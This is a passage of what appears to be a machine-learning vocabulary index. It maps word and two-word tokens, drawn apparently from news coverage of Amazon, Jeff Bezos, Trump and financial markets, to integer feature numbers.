11992, "ebay president": 11993, "macotakara": 11994, "tormented": 11995, "democratic voters": 11996, "limousines": 11997, "amazon facial": 11998, "classified ads": 11999, "moore says": 12000, "joint interagency": 12001, "toronto just": 12002, "treasury secretary": 12003, "letting new": 12004, "ovens": 12005, "sultry texts": 12006, "far think": 12007, "diverse backgrounds": 12008, "insensitive nature": 12009, "mowing": 12010, "ring video": 12011, "used israeli": 12012, "entertaining news": 12013, "customer experience": 12014, "bigger battle": 12015, "portfolio isn": 12016, "deathly": 12017, "includes familiar": 12018, "innovative storytelling": 12019, "trump economics": 12020, "george bush": 12021, "burden does": 12022, "semi autonomous": 12023, "woodward source": 12024, "billion fund": 12025, "government bonds": 12026, "grabber trump": 12027, "null editorname": 12028, "global climate": 12029, "nominee elena": 12030, "obscure matter": 12031, "europe problems": 12032, "weren actually": 12033, "users location": 12034, "really pies": 12035, "steyer appears": 12036, "blunts": 12037, "zeya": 12038, "65m private": 12039, "ago called": 12040, "escalating tensions": 12041, "2019 hungry": 12042, "zak1vk5acw new": 12043, "amazon vehicles": 12044, "longer story": 12045, "lina khan": 12046, "urging customers": 12047, "nigeria narrated": 12048, "schilling": 12049, "founding team": 12050, "salacious": 12051, "huge negative": 12052, "18px read": 12053, "stubby": 12054, "protesting insufficient": 12055, "really seeing": 12056, "weeks amazon": 12057, "county high": 12058, "176 577": 12059, "prices says": 12060, "braintree": 12061, "locating amazon": 12062, "returning african": 12063, "20th anniversary": 12064, "modernization americans": 12065, "miles davis": 12066, "korea don": 12067, "osborne": 12068, "influence people": 12069, "talk recently": 12070, "bone strewn": 12071, "fournier ryanafournier": 12072, "lose banning": 12073, "lengthening": 12074, "tawdry affair": 12075, "georgia facial": 12076, "edge": 12077, "saying trump": 12078, "largest populations": 12079, "truck capable": 12080, "happen quickly": 12081, "authorizations serving": 12082, "stir": 12083, "campaign based": 12084, "stifel financial": 12085, "dragging": 12086, "just internet": 12087, "young couple": 12088, "multi faceted": 12089, "brilliant sagers": 12090, "consider postal": 12091, "business stuart": 12092, "status 1021370601863294977": 12093, "charter showed": 12094, "interior chief": 12095, "home loans": 12096, "president hardly": 12097, "stock sales": 12098, "2017 note": 12099, "significantly raising": 12100, "company perks": 12101, "birkenstock": 12102, "monthly tax": 12103, "reject": 12104, "investment 2019": 12105, "cnn division": 12106, "realised": 12107, "exists": 12108, "insult trump": 12109, "seeds": 12110, "store greer": 12111, "trump denunciations": 12112, "arivale ceo": 12113, "technology boot": 12114, "software guide": 12115, "start event": 12116, "read house": 12117, "walmart jab": 12118, "unit cnn": 12119, "hobbled cramer": 12120, "cay": 12121, "meeting treasury": 12122, "universe including": 12123, "repayment": 12124, "vc backed": 12125, "best retailer": 12126, "utils": 12127, "corrupt company": 12128, "disruptive business": 12129, "administration lobbyist": 12130, "dystopian oligarch": 12131, "turns disaster": 12132, "scenic": 12133, "action sequences": 12134, "sciences corporation": 12135, "lure new": 12136, "programme works": 12137, "analyzed 187": 12138, "politicians led": 12139, "study published": 12140, "upended": 12141, "cooperstown": 12142, "888 630": 12143, "loves 123s": 12144, "engine compartment": 12145, "president data": 12146, "market remains": 12147, "national local": 12148, "features episodes": 12149, "afp hedge": 12150, "schedule certification": 12151, "contracts pleasure": 12152, "potus trump": 12153, "president urged": 12154, "990": 12155, "tm lose": 12156, "increase shareholder": 12157, "duque": 12158, "need jacket": 12159, "holding talks": 12160, "amazing experts": 12161, "staffing firm": 12162, "cowardly betrayal": 12163, "cause companies": 12164, "news trump": 12165, "plans big": 12166, "swan wrote": 12167, "mapping company": 12168, "nigh": 12169, "set spooky": 12170, "company retain": 12171, "world stocks": 12172, "annual golden": 12173, "boycotts wonder": 12174, "huseman did": 12175, "employer divorce": 12176, "law cfr": 12177, "hearing saying": 12178, "keeping cash": 12179, "twitter fueled": 12180, "aws cloud": 12181, "founder mike": 12182, "mercy": 12183, "house estimated": 12184, "strict regulatory": 12185, "premise accept": 12186, "rhetoric": 12187, "transportation expenses": 12188, "thailand search": 12189, "polluting industries": 12190, "fund chatham": 12191, "dolezal": 12192, "growing girth": 12193, "later dubbed": 12194, "innately exploitative": 12195, "scraps near": 12196, "counter cyclical": 12197, "ouch data": 12198, "customers currently": 12199, "alexander": 12200, "glowingly": 12201, "independent community": 12202, "companies donate": 12203, "night home": 12204, "breaking earnings": 12205, "senate presented": 12206, "frankly embarrassing": 12207, "cities consider": 12208, "hq2 offices": 12209, "whatsappshareelement": 12210, "big brands": 12211, "enormous michael": 12212, "ignoring small": 12213, "touting according": 12214, "tax contributions": 12215, "expenses finally": 12216, "verify mark": 12217, "bezos overnight": 12218, "black children": 12219, "just way": 12220, "couples embedded": 12221, "trump world": 12222, "manufacturing companies": 12223, "ant man": 12224, "currently trades": 12225, "shirts uncovered": 12226, "rough transition": 12227, "joe television": 12228, "journal op": 12229, "european plan": 12230, "dive brief": 12231, "annual filings": 12232, "political victory": 12233, "amazon distribution": 12234, "samuel alito": 12235, "magazine award": 12236, "company website": 12237, "wag": 12238, "afl": 12239, "initial providers": 12240, "amazonian oracle": 12241, "x68mz6hft2": 12242, "toronto bigstock": 12243, "sculptures preschoolers": 12244, "media piled": 12245, "tremendous suffering": 12246, "notifications": 12247, "tax package": 12248, "linn stamp": 12249, "hills california": 12250, "ranks mail": 12251, "high expected": 12252, "profound problem": 12253, "today agenda": 12254, "cultures indigenous": 12255, "87m": 12256, "targeted special": 12257, "worth spike": 12258, "advantage executing": 12259, "philanthropy magazine": 12260, "sell fake": 12261, "kitchen appliances": 12262, "video_description": 12263, "embrapa": 12264, "special task": 12265, "merit consideration": 12266, "karl ove": 12267, "lofty valuation": 12268, "bloodworth": 12269, "eurozone australian": 12270, "page column": 12271, "behaviour implode": 12272, "global freight": 12273, "ricky whittle": 12274, "subside": 12275, "antitrust ruling": 12276, "kris coratti": 12277, "williamson elaborates": 12278, "maximizing potential": 12279, "2018 short": 12280, "mayor sees": 12281, "issue hit": 12282, "jpg 640x290": 12283, "began revolting": 12284, "worst air": 12285, "tony podesta": 12286, "bezos dangling": 12287, "tentacles": 12288, "years dimon": 12289, "gay told": 12290, "transcript posted": 12291, "ordinarily buys": 12292, "peppered": 12293, "online trafficking": 12294, "beloved city": 12295, "gravitate": 12296, "apple surge": 12297, "movie property": 12298, "mistake afp": 12299, "000 reduced": 12300, "walmart true": 12301, "strikes stationary": 12302, "black farmers": 12303, "acre": 12304, "dollars worth": 12305, "410": 12306, "246 square": 12307, "gw": 12308, "biases": 12309, "t5khpuugfj": 12310, "single entity": 12311, "florida right": 12312, "johnson deserves": 12313, "joe hassett": 12314, "financial officer": 12315, "commerce intends": 12316, "year 2018": 12317, "clary": 12318, "conducted friendly": 12319, "legalized": 12320, "moment dominated": 12321, "desirable jobs": 12322, "conversion": 12323, "adoption euractiv": 12324, "story underscores": 12325, "koch officiated": 12326, "christiansen": 12327, "ongoing transformation": 12328, "obama press": 12329, "faang stocks": 12330, "scrutiny amazon": 12331, "letitia james": 12332, "corporate oversight": 12333, "monopolisation": 12334, "related question": 12335, "news networks": 12336, "eye arkansas": 12337, "particularly angry": 12338, "overseas deals": 12339, "shockingly": 12340, "political moment": 12341, "extraordinary letter": 12342, "gap reflecting": 12343, "litigated": 12344, "qtrly": 12345, "monopoly donald": 12346, "indicates": 12347, "really fascinating": 12348, "core profit": 12349, "chairs emails": 12350, "customer bezos": 12351, "wife just": 12352, "feinstein sound": 12353, "retirement benefits": 12354, "debt issuance": 12355, "profit hungry": 12356, "hit reporting": 12357, "claim trump": 12358, "liability corporation": 12359, "magnet amazon": 12360, "years remember": 12361, "brought tech": 12362, "larger number": 12363, "latest scoop": 12364, "program right": 12365, "4166 sponsored": 12366, "washington mandel": 12367, "market 2019": 12368, "christal hayes": 12369, "schuster angry": 12370, "amazon expected": 12371, "split headquarters": 12372, "following president": 12373, "charging companies": 12374, "jose mercury": 12375, "choices lacked": 12376, "2015 trump": 12377, "divested stations": 12378, "emailed members": 12379, "site finsum": 12380, "rolfe": 12381, "engine favoured": 12382, "instead publishing": 12383, "actually make": 12384, "company biggest": 12385, "image type": 12386, "beige": 12387, "trump factor": 12388, "amazon stored": 12389, "apron value": 12390, "drawn ire": 12391, "opposite backgrounds": 12392, "8220": 12393, "insets": 12394, "suppose": 12395, "farrow describes": 12396, "directed hit": 12397, "___ average": 12398, "illegally": 12399, "disaster avoided": 12400, "buhari meets": 12401, "ad threatens": 12402, "long sale": 12403, "attributes": 12404, "fsg new": 12405, "telling national": 12406, "late 1950s": 12407, "hammack avery": 12408, "shows konst": 12409, "emergencies denver": 12410, "motco owns": 12411, "nonprofit sector": 12412, "economically distressed": 12413, "pentagon cloud": 12414, "solidarity": 12415, "reliable delivery": 12416, "tired": 12417, "provide technology": 12418, "frankfurt": 12419, "patents included": 12420, "memoir flatiron": 12421, "king don": 12422, "company blog": 12423, "dramatization": 12424, "executives faced": 12425, "giovangelo": 12426, "previous claims": 12427, "administration amazon": 12428, "price left": 12429, "aristocrats did": 12430, "media correctly": 12431, "probe facebook": 12432, "homo sapiens": 12433, "home sale": 12434, "second base": 12435, "million education": 12436, "retails": 12437, "work goals": 12438, "company salesforce": 12439, "ofsort": 12440, "report evaluates": 12441, "haul compare": 12442, "rights organization": 12443, "america descriptionplaintext": 12444, "city makes": 12445, "huckleberry": 12446, "competition oversight": 12447, "air conner": 12448, "seeva": 12449, "federal housing": 12450, "acquired controlling": 12451, "connects buyers": 12452, "human history": 12453, "new pricing": 12454, "missoulacurrent": 12455, "areprimarily adjusted": 12456, "money star": 12457, "pro quo": 12458, "crash survivor": 12459, "emily bary": 12460, "biggs weighs": 12461, "angelo": 12462, "years high": 12463, "industrial complex": 12464, "james patterson": 12465, "gerald game": 12466, "packages decision": 12467, "nec corporation": 12468, "topped 177": 12469, "paul marketwatch": 12470, "believe staying": 12471, "accept amazon": 12472, "merchant platform": 12473, "osha": 12474, "candidate hillary": 12475, "adams": 12476, "group called": 12477, "biggest award": 12478, "topic": 12479, "post columnists": 12480, "impact fiscal": 12481, "neurotic": 12482, "herman turkstra": 12483, "giant orange": 12484, "leafly suite": 12485, "jeff mitchell": 12486, "minority employees": 12487, "griffeth nightly": 12488, "rean cloud": 12489, "mistreating workers": 12490, "incautiously": 12491, "including presidential": 12492, "market bezos": 12493, "date itep": 12494, "trump wondered": 12495, "company resistance": 12496, "unavoidable": 12497, "misspoke": 12498, "retail share": 12499, "everybody involved": 12500, "article arguing": 12501, "requiring large": 12502, "sexual predations": 12503, "uneasy truce": 12504, "jodi balfour": 12505, "members state": 12506, "line 2930a": 12507, "york marked": 12508, "misses articles": 12509, "cambridge scandal": 12510, "terrifyingly": 12511, "glueck": 12512, "85m": 12513, "joshua tucker": 12514, "person company": 12515, "st john": 12516, "benevolence": 12517, "amazon treats": 12518, "echoed": 12519, "night referencing": 12520, "increased lobbying": 12521, "election coverage": 12522, "bezos cease": 12523, "khashoggi saudi": 12524, "sender intensifies": 12525, "fundamental step": 12526, "entirely instead": 12527, "carnivorous style": 12528, "latest twist": 12529, "desirable economics": 12530, "terrible job": 12531, "accidentally sabotaged": 12532, "manatees": 12533, "shares leavell": 12534, "divorce saying": 12535, "chicagoan": 12536, "inspirational": 12537, "sim\u00f5es": 12538, "features enableautoplayblock": 12539, "herera skipped": 12540, "federal investigation": 12541, "gaining market": 12542, "product technology": 12543, "cityoftoronto amid": 12544, "102 million": 12545, "comprehensive logistics": 12546, "fund access": 12547, "agency ice": 12548, "criminal enterprise": 12549, "remove current": 12550, "079 share": 12551, "generate higher": 12552, "store drops": 12553, "marketing doesn": 12554, "night games": 12555, "punish jeff": 12556, "charitable donors": 12557, "stock flying": 12558, "jarrett source": 12559, "bow": 12560, "mallory": 12561, "cnl_global_nav_background_gradient_start": 12562, "today jolts": 12563, "thomas": 12564, "international talent": 12565, "corp ap": 12566, "lasership pittohio": 12567, "bigger plans": 12568, "boost local": 12569, "word tape": 12570, "notorious las": 12571, "world according": 12572, "told seventeen": 12573, "ohio workers": 12574, "amazon echo": 12575, "boss owns": 12576, "steroids": 12577, "patients away": 12578, "freaky gas": 12579, "2025": 12580, "puzder foto": 12581, "entertainer routinely": 12582, "amazon operating": 12583, "pinterest linkedin": 12584, "bloomberg lobbied": 12585, "expect far": 12586, "excuse handing": 12587, "miscellaneous pharma": 12588, "encinitas": 12589, "educator alli": 12590, "rare rebuttal": 12591, "network read": 12592, "sources reported": 12593, "political scandal": 12594, "expected pay": 12595, "occasionally speaking": 12596, "millennials essayism": 12597, "ghosn": 12598, "antitrust attorney": 12599, "bargains buyers": 12600, "london fastest": 12601, "underhanded": 12602, "alleging counterfeiting": 12603, "sellers included": 12604, "stop dying": 12605, "blackmail scheme": 12606, "provided backdoor": 12607, "scored": 12608, "760 federal": 12609, "osaka": 12610, "center republicans": 12611, "policy passed": 12612, "money deals": 12613, "seeking tech": 12614, "stay afloat": 12615, "tanquilut": 12616, "focussed": 12617, "takes advantage": 12618, "elan gale": 12619, "international pressure": 12620, "null images": 12621, "class destination": 12622, "college hours": 12623, "mikey2go": 12624, "redo": 12625, "service pursue": 12626, "employee held": 12627, "richard hofstadter": 12628, "slashing federal": 12629, "nasdaq expe": 12630, "entertainment sports": 12631, "yasha": 12632, "binder reported": 12633, "wealth planning": 12634, "additionally dimon": 12635, "diminishing": 12636, "snapbacks": 12637, "long suffering": 12638, "deforestation currently": 12639, "solid platform": 12640, "opposing collective_072318": 12641, "vital evidence": 12642, "clock kitchen": 12643, "liabilities": 12644, "275 amazon": 12645, "owners drive": 12646, "org research": 12647, "vehemently rejected": 12648, "environmental review": 12649, "intentions just": 12650, "corruption cases": 12651, "game discount": 12652, "extraordinary sulforaphane": 12653, "retailer lobby": 12654, "portrayed amazon": 12655, "therobinreport": 12656, "know whatyou": 12657, "success read": 12658, "philippines": 12659, "second georgia": 12660, "egregious": 12661, "pass immigration": 12662, "mccain casts": 12663, "amazon bid": 12664, "bigger merger": 12665, "cohen threatening": 12666, "existing community": 12667, "campaign contractor": 12668, "years amazing": 12669, "immoral": 12670, "melodrama": 12671, "maintain growth": 12672, "studios matt": 12673, "universities say": 12674, "friendly divorce": 12675, "filmed": 12676, "generation navy": 12677, "popular github": 12678, "blind helen": 12679, "raised antitrust": 12680, "city economy": 12681, "maximizing": 12682, "728 shares": 12683, "china business": 12684, "cowen analysts": 12685, "saying tagline": 12686, "agriculture mining": 12687, "614 channels": 12688, "baker jack": 12689, "amazon undercut": 12690, "antitrust rules": 12691, "business contributed": 12692, "cramer likes": 12693, "standing target": 12694, "deficit shot": 12695, "amazon insisted": 12696, "moved away": 12697, "right news": 12698, "sen george": 12699, "official business": 12700, "fund held": 12701, "notechforice": 12702, "foundation seth": 12703, "hatches": 12704, "cfo brian": 12705, "facilitated": 12706, "upper management": 12707, "meaning budget": 12708, "brainard did": 12709, "principal analyst": 12710, "missouri voters": 12711, "public charge": 12712, "guarantee mail": 12713, "terrorist fist": 12714, "tech titans": 12715, "zuker good": 12716, "pertinent": 12717, "directed michael": 12718, "did tweet": 12719, "level corruption": 12720, "profitability": 12721, "accounting issues": 12722, "taxable income": 12723, "sanders concluded": 12724, "shouted racial": 12725, "recent client": 12726, "atrocious": 12727, "record price": 12728, "educational products": 12729, "usa 2018": 12730, "relevance": 12731, "deliveries operating": 12732, "wasn 100": 12733, "bravo": 12734, "newsletters utm_source": 12735, "proportions": 12736, "results surging": 12737, "irreversibly": 12738, "nadler says": 12739, "public meetings": 12740, "vetoed": 12741, "bolsonaro environmental": 12742, "particularly proud": 12743, "politician bent": 12744, "business calculus": 12745, "explains immigration": 12746, "lethem triumphant": 12747, "change planned": 12748, "recently sent": 12749, "mysterious pharmaceutical": 12750, "highly rated": 12751, "sent 885": 12752, "daughter pearl": 12753, "political differences": 12754, "falling": 12755, "hanson concluded": 12756, "rourke giving": 12757, "bezos operating": 12758, "good preschool": 12759, "needle": 12760, "base buy": 12761, "propped": 12762, "particularly memorable": 12763, "cloud story": 12764, "publishes fake": 12765, "create cloud": 12766, "lands image": 12767, "quarter gaap": 12768, "duel playingout": 12769, "homeless tax": 12770, "agriculture video": 12771, "summit amazon": 12772, "chicago childhood": 12773, "paper save": 12774, "rose garden": 12775, "suburban legislators": 12776, "ubhi recused": 12777, "votes oops": 12778, "2004 dhs": 12779, "took slight": 12780, "transaction person": 12781, "josephson": 12782, "massive tax": 12783, "uniquely": 12784, "woman eyeballs": 12785, "bad week": 12786, "post spoke": 12787, "rainfall regime": 12788, "security heather": 12789, "negotiation host": 12790, "activist shareholder": 12791, "mabinty": 12792, "republican led": 12793, "general pam": 12794, "showing persistent": 12795, "kyl left": 12796, "sleep easy": 12797, "centers better": 12798, "allianz": 12799, "haunted marsh": 12800, "seller closing": 12801, "infused": 12802, "obviously worship": 12803, "correll": 12804, "amazon country": 12805, "game changing": 12806, "kid nydj": 12807, "benefiting homeless": 12808, "behavior autocrats": 12809, "stories claiming": 12810, "32nd": 12811, "scraping information": 12812, "questionable tactics": 12813, "amazons growing": 12814, "tosi": 12815, "100 centers": 12816, "life gives": 12817, "bezos clean": 12818, "typeof r4ee": 12819, "changing family": 12820, "revelations appear": 12821, "trump thanked": 12822, "inversion": 12823, "hell": 12824, "failures shows": 12825, "verdict": 12826, "investments elizabeth": 12827, "buying stocks": 12828, "spokesman did": 12829, "slave half": 12830, "completed just": 12831, "mowers": 12832, "g8": 12833, "lagos nigeria": 12834, "trump shoe": 12835, "truthout daily": 12836, "hemorrhaging": 12837, "divide deepens": 12838, "reinsurance": 12839, "loses billion": 12840, "paychecks": 12841, "letter kavanaugh": 12842, "hill sonoya": 12843, "calif offices": 12844, "nielsen soon": 12845, "follow krystal": 12846, "jonathan": 12847, "addressable markets": 12848, "trump filed": 12849, "trump succeeds": 12850, "increased lore": 12851, "t0 v0": 12852, "pesticides": 12853, "unit allegedly": 12854, "want fairness": 12855, "audience included": 12856, "instructor": 12857, "welcoming immigration": 12858, "kathryn": 12859, "riding": 12860, "melgibsonfilms": 12861, "amazon reaching": 12862, "extra change": 12863, "suddenly available": 12864, "republicans expanded": 12865, "typical trumpian": 12866, "slamming alphabet": 12867, "help teach": 12868, "hart clarkston": 12869, "sharing suspicious": 12870, "says turnaround": 12871, "limited success": 12872, "boxing movie": 12873, "ordinated": 12874, "amazon products": 12875, "wedbush remains": 12876, "long target": 12877, "footage used": 12878, "share price": 12879, "2045 cat_id": 12880, "new novel": 12881, "worst month": 12882, "category warehousing": 12883, "suresh kumar": 12884, "estate crash": 12885, "obamas retained": 12886, "events season": 12887, "tweet views": 12888, "executive dara": 12889, "specific needs": 12890, "die donald": 12891, "usually surge": 12892, "response eli": 12893, "providing project": 12894, "netflix trailed": 12895, "perishable sectors": 12896, "lobbying reform": 12897, "lanphear": 12898, "nick timiraos": 12899, "immigrants rights": 12900, "funds": 12901, "marc perrone": 12902, "close r4ee": 12903, "meaning increased": 12904, "mocked christine": 12905, "good strong": 12906, "tax purposes": 12907, "officials appeared": 12908, "blessings": 12909, "rally warns": 12910, "economy read": 12911, "supposed mistresses": 12912, "nazi ideology": 12913, "mistress bezos": 12914, "does iconimageurl": 12915, "bestselling standing": 12916, "historic lows": 12917, "matches walmart": 12918, "290 000": 12919, "drugstores shareholders": 12920, "stabilizers": 12921, "news new": 12922, "specific words": 12923, "blogspot president": 12924, "review jurassic": 12925, "fellow democrats": 12926, "1014138137147211777": 12927, "release nami": 12928, "ap florida": 12929, "blk": 12930, "smithbridge": 12931, "remote work": 12932, "assuage investors": 12933, "embarks": 12934, "nbc interview": 12935, "video 2018": 12936, "kevin grundy": 12937, "loans eased": 12938, "kidasharira": 12939, "screening facility": 12940, "fdf": 12941, "seeking 129": 12942, "paradise eric": 12943, "1336 cabin": 12944, "supremely qualified": 12945, "corporate subsidies": 12946, "china granted": 12947, "billion net": 12948, "agreements giving": 12949, "green illegal": 12950, "underappreciated wife": 12951, "raised 460": 12952, "long lines": 12953, "work women": 12954, "company stunned": 12955, "dystopian series": 12956, "bezos additionally": 12957, "figures showing": 12958, "important week": 12959, "cnbc borrowing": 12960, "beat late": 12961, "million increase": 12962, "began renovating": 12963, "million computing": 12964, "advertising consumer": 12965, "alibaba tencent": 12966, "resort": 12967, "diane rodham": 12968, "amazon taking": 12969, "ricardo salles": 12970, "book chapter": 12971, "dunford": 12972, "book accompanied": 12973, "actual presidential": 12974, "latin history": 12975, "memo citing": 12976, "cbs4": 12977, "instant classic": 12978, "kate kunath": 12979, "kerala": 12980, "republican mcconnell": 12981, "political implications": 12982, "misbehavior": 12983, "ami efforts": 12984, "average admitted": 12985, "stars used": 12986, "intersect": 12987, "send far": 12988, "fraudulent items": 12989, "post according": 12990, "office mccabe": 12991, "looms amazon": 12992, "counter markets": 12993, "earthquake caused": 12994, "toile": 12995, "rescue": 12996, "manages international": 12997, "sanches": 12998, "called tax": 12999, "quadrant lp": 13000, "undo obamacare": 13001, "running story": 13002, "common targets": 13003, "follows major": 13004, "domestic partner": 13005, "showing amazon": 13006, "london asset": 13007, "judy garland": 13008, "peddled": 13009, "largest funder": 13010, "northern kentucky": 13011, "bears close": 13012, "better compete": 13013, "trump treatment": 13014, "limiting monopolistic": 13015, "stereotyping": 13016, "contested election": 13017, "ceo sue": 13018, "excellent article": 13019, "profit bezos": 13020, "tonght": 13021, "journal michael": 13022, "reason americas": 13023, "criminal extortion": 13024, "devastating day": 13025, "isn linked": 13026, "person wrote": 13027, "discount": 13028, "maternity leave": 13029, "climate science": 13030, "roughly 600": 13031, "archie": 13032, "1607et": 13033, "702": 13034, "southeast asian": 13035, "financial straits": 13036, "bell citing": 13037, "stop arthur": 13038, "information company": 13039, "cannibalise retail": 13040, "concluded": 13041, "remember courage": 13042, "world bank": 13043, "just days": 13044, "shipping announcement": 13045, "politics celebrity": 13046, "retail dominance": 13047, "sunnyside": 13048, "say student": 13049, "murakami knopf": 13050, "legislating": 13051, "strategic focus": 13052, "workers indians": 13053, "org issues": 13054, "keynote": 13055, "prnewswire": 13056, "video__end slate": 13057, "revamped search": 13058, "animal protein": 13059, "younggren regina": 13060, "local forums": 13061, "editorial minutes": 13062, "noted ami": 13063, "cafes": 13064, "heinz jeff": 13065, "sculptor stephen": 13066, "aspersions": 13067, "opera": 13068, "maria bartiromo": 13069, "best joke": 13070, "legislative process": 13071, "tougher amphibs": 13072, "hellmann ceo": 13073, "outpace": 13074, "states doesn": 13075, "improper influence": 13076, "app carol": 13077, "deal cristina": 13078, "240 000": 13079, "combination": 13080, "firms raise": 13081, "places want": 13082, "provocative language": 13083, "certain product": 13084, "551": 13085, "bespokepremium": 13086, "information recently": 13087, "usually tell": 13088, "ami reached": 13089, "john following": 13090, "mass selling": 13091, "defending_the_one_percent_1 pdf": 13092, "offered deal": 13093, "biggest deals": 13094, "administration efforts": 13095, "anchor welcome": 13096, "federal environmental": 13097, "immoral policy": 13098, "recording comfortable": 13099, "users earnings": 13100, "interpretation": 13101, "office revenue": 13102, "square footage": 13103, "nigerian author": 13104, "fort wayne": 13105, "19th ave": 13106, "enterprise technology": 13107, "crossover republican": 13108, "military affairs": 13109, "usurp power": 13110, "2018 follow": 13111, "hullabaloo": 13112, "conduct market": 13113, "medical event": 13114, "warchest": 13115, "boycott walmart": 13116, "peterbakernyt": 13117, "2016 involving": 13118, "sanders criticized": 13119, "conspiracy bad": 13120, "bezos enraged": 13121, "new zip": 13122, "expicit photographs": 13123, "alyssa goodman": 13124, "gardner": 13125, "open major": 13126, "buymedia": 13127, "harvard graduate": 13128, "trump sotu": 13129, "environment according": 13130, "copied": 13131, "haptx": 13132, "democratic republic": 13133, "harriman": 13134, "founder felt": 13135, "inexistant": 13136, "extensive games": 13137, "walmart ability": 13138, "benefitting developing": 13139, "today probably": 13140, "times photo": 13141, "trump targets": 13142, "grocery ecosystem": 13143, "newfield exploration": 13144, "news illinois": 13145, "extremists think": 13146, "early shortages": 13147, "publishing series": 13148, "subordinate federal": 13149, "cohens home": 13150, "profile image": 13151, "dying left": 13152, "malloch": 13153, "preternaturally fortunate": 13154, "usually dominated": 13155, "congress rejected": 13156, "cash": 13157, "block twitter": 13158, "furniture seller": 13159, "disorienting": 13160, "targets shares": 13161, "radio legend": 13162, "claim israel": 13163, "components": 13164, "job depending": 13165, "overturn policy": 13166, "new immunotherapy": 13167, "point earlier": 13168, "google public": 13169, "conference italy": 13170, "awkwardly": 13171, "allows 401": 13172, "council believed": 13173, "sykes": 13174, "b4e currenttarget": 13175, "dirty don": 13176, "verizon communications": 13177, "sandwiched": 13178, "lobbyist conflating": 13179, "agency actions": 13180, "somerset": 13181, "ignored amazon": 13182, "debt refinancing": 13183, "lynch massachusetts": 13184, "billion followed": 13185, "media walmart": 13186, "shutdown read": 13187, "bank public": 13188, "legendary race": 13189, "head villain": 13190, "supporting law": 13191, "magnets": 13192, "socks shortly": 13193, "parrot": 13194, "coverage wasn": 13195, "pursuing tougher": 13196, "bankers nypost": 13197, "500 indexhas": 13198, "reduce traffic": 13199, "woman overnight": 13200, "ongoing spat": 13201, "called climate": 13202, "military rivalry": 13203, "candy 2006": 13204, "vass vice": 13205, "remains citi": 13206, "replogle": 13207, "segment operating": 13208, "negative rating": 13209, "hugely embarrassed": 13210, "new release": 13211, "origin mackenzie": 13212, "youngest daughter": 13213, "challenged postal": 13214, "kaye": 13215, "outpace trump": 13216, "offering opinions": 13217, "infrastructure program": 13218, "stop bartiromo": 13219, "money payment": 13220, "ascribing": 13221, "political ends": 13222, "total mail": 13223, "monica breaks": 13224, "start network": 13225, "event don": 13226, "pursued": 13227, "affair angle": 13228, "companies yang": 13229, "democrats schiff": 13230, "voicemails": 13231, "boss relationship": 13232, "quarter trillion": 13233, "fall asleep": 13234, "math suggests": 13235, "extended essay": 13236, "pair live": 13237, "keeps threatening": 13238, "brody mullins": 13239, "militarization": 13240, "effectively appointing": 13241, "citing substantial": 13242, "allies raised": 13243, "year prior": 13244, "firms antitrust": 13245, "gasoline": 13246, "strong fan": 13247, "conservative ones": 13248, "sentencing marked": 13249, "insurance companies": 13250, "surprise fox": 13251, "stellar cast": 13252, "mueller comments": 13253, "iot division": 13254, "economic ladder": 13255, "guardian reports": 13256, "lewrockwell montrealgazette": 13257, "agrees": 13258, "miller tabak": 13259, "trump hit": 13260, "political structure": 13261, "daniels attorney": 13262, "starving peasants": 13263, "net slight": 13264, "aiding immigration": 13265, "deaths 2018": 13266, "value stood": 13267, "largest automaker": 13268, "report published": 13269, "message exchanges": 13270, "journal studies": 13271, "lecture hall": 13272, "strains": 13273, "salivated": 13274, "9hubrtexlq dave": 13275, "pursue national": 13276, "departure lounge": 13277, "economic leaders": 13278, "3x ebitda": 13279, "detailed description": 13280, "midterms approach": 13281, "brands law": 13282, "hachette published": 13283, "shied away": 13284, "brooklyn amazon": 13285, "revealed trump": 13286, "nearly 250": 13287, "process bj": 13288, "facebook related": 13289, "commerce composed": 13290, "investigation coming": 13291, "ties velcro": 13292, "schlosser bezos": 13293, "sidewalks": 13294, "frameheight": 13295, "overlaid": 13296, "forestall": 13297, "passages": 13298, "extending tax": 13299, "barbecue scented": 13300, "retailer reported": 13301, "trial amazon": 13302, "mexico killing": 13303, "company wework": 13304, "independent drivers": 13305, "created revenue": 13306, "korea gives": 13307, "policy makers": 13308, "sheryl palmer": 13309, "billionaire denied": 13310, "csco reported": 13311, "tobias hase": 13312, "legislation long": 13313, "education funding": 13314, "pressing switch": 13315, "135 sales": 13316, "imageurl": 13317, "just tripping": 13318, "pharmacy chain": 13319, "states planned": 13320, "conservative fox": 13321, "trips year": 13322, "prince mohamed": 13323, "conversing": 13324, "mutual friend": 13325, "vote listen": 13326, "tenn doyle": 13327, "flying technology": 13328, "investor relationsamazon": 13329, "enforcement investigation": 13330, "person mail": 13331, "maintained sears": 13332, "meeting wouldn": 13333, "relationship accident": 13334, "criminal conduct": 13335, "democrat": 13336, "386 million": 13337, "shouldinvestigate": 13338, "clearly demonstrates": 13339, "large numbers": 13340, "subsidizing profits": 13341, "campus location": 13342, "googleplay youtube": 13343, "bring slightly": 13344, "form stamps": 13345, "chemical uber": 13346, "cigarettes posted": 13347, "approved": 13348, "indirect jobs": 13349, "000 asians": 13350, "pew poll": 13351, "ended recently": 13352, "host talent": 13353, "based rates": 13354, "pace unprecedented": 13355, "narratives created": 13356, "tax experts": 13357, "perioden read": 13358, "choose strategically": 13359, "valley amazon": 13360, "pete tucker": 13361, "merino wool": 13362, "ryan paul": 13363, "potential fines": 13364, "suffering crippling": 13365, "aed awareness": 13366, "technology born": 13367, "tests including": 13368, "elaborates": 13369, "journalist asked": 13370, "15k month": 13371, "corporation fdx": 13372, "solid high": 13373, "emotions ran": 13374, "bezos sat": 13375, "gq today": 13376, "nti vaxxers": 13377, "support amazon": 13378, "2017 offered": 13379, "university hospital": 13380, "parcel rate": 13381, "admirable especially": 13382, "shares 673": 13383, "sellers dealing": 13384, "afternoon virginia": 13385, "increasingly dependent": 13386, "drop isn": 13387, "sufficient": 13388, "bret baier": 13389, "county medical": 13390, "millions": 13391, "slogan states": 13392, "insider een": 13393, "final video": 13394, "mair lost": 13395, "source link": 13396, "lee zeldin": 13397, "maps iot": 13398, "morning shift": 13399, "trump recommended": 13400, "new yorkers": 13401, "contacts": 13402, "pants": 13403, "traffic lights": 13404, "executive laura": 13405, "rekognition contracts": 13406, "disclosure statement": 13407, "lauding saudi": 13408, "stop retailer": 13409, "puzzler": 13410, "theorist joem": 13411, "meet services": 13412, "2020 nj": 13413, "seattle suck": 13414, "added costs": 13415, "security official": 13416, "219 nd2pss": 13417, "inch": 13418, "keeping indigenous": 13419, "component did": 13420, "losses citi": 13421, "edition madeline": 13422, "detroit instead": 13423, "settled slightly": 13424, "society trump": 13425, "adding thousands": 13426, "921": 13427, "national 